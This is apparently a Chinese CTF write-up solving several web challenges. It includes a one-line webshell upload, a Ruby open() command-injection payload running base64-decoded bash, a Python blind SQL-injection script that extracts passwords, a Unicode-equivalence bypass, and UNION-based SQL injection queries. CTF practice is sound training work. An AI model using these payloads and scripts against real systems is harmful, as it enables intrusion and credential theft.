上传一句话木马得到
抓包改文件类型
上传成功,只是倒序而已
得到flag
这道题采用的是ruby语言,第一次听说
2021-第五空间智能安全大赛-PNG图片转换器 | 管道符与反引号的配合、open()函数绝杀_[第五空间 2021]png图片转换器-CSDN博客
ruby的open函数存在命令注?反弹shell?
payload:
file=|bash -c "$(echo 'ZW52' | base64 -d)" 5a57a30b4e46f7124dcc51675f15add0.png?
只需要变echo后面的base编码就可以了
最后在环境变量里找到了flag
?看到了过滤的函数,以及username要base64编码
脚本 得到flag
import base64 import requests import time s = requests.session() url = "http://node5.anna.nssctf.cn:28239/" flag = '' i = 0 while True: i = i + 1 Max = 128 Min = 32 Mid = (Max + Min) // 2 while Min < Max: # payload = "1^(substr(database(),{},1)='{}')^1".format(i,j) # payload = "1'/**/or/**/(ord(substr(DATABASE(),{},1))/**/>/**/{})#".format(i,Mid) # payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA/**/like/**/'users'),{},1))/**/>/**/{})#".format(i,Mid) # payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(COLUMN_NAME)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME/**/like/**/'user'),{},1))/**/>/**/{})#".format(i, Mid) payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(Password)/**/FROM/**/user),{},1))/**/>/**/{})#".format( i, Mid) payload = base64.b64encode(payload[::-1].encode('utf-8')).decode('utf-8') data = { 'username': payload } r = requests.post(url=url, data=data) if "success" in r.text: Min = Mid + 1 Mid = (Min + Max) // 2 else: Max = Mid Mid = (Min + Max) // 2 flag = flag + chr(Mid) if Mid == 32: break print(flag) # 速度太快显示不完全 time.sleep(0.5)
源码
<meta charset="utf-8"><!--Ah,really important,seriously. -->
提示utf-8编码很重要
题目提示python unicode,利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞
post输入id=4&price=1337 时提示Only one char(?) allowed!
只能使用一个字符,一个字符能够购买id4,于是我们需要找到一个字符比1337大的数字,前端html使用的是utf-8,后端python处理使用的是unicode,编码不一致造成了转码安全问题
在编码网站https://www.compart.com/en/unicode/,寻找大于1337的数字就可以得到flag
payload: 4???? %E1%8D%BC
点击网页没发现什么异常,也没找到什么点
bp抓包发现切换页面url是传参的
尝试sql注入,发现在传参后边注入1'回显是1
可能是有sql注入的
后面在尝试的时候发现要带着所有的参数进行注入才行
判断列数,发现3的时候回显异常,有两列
?看回显位,发现有两位
查询当前数据库
query?search=amazonis_planitia union select database(),2&{}&_=1702874710825
查表 query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'&{}&_=1702874710825
查列
query?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name='code'&{}&_=1702874710825?
?查字段内容
就是在最开始找注入点的时候会卡一下,剩下的都还好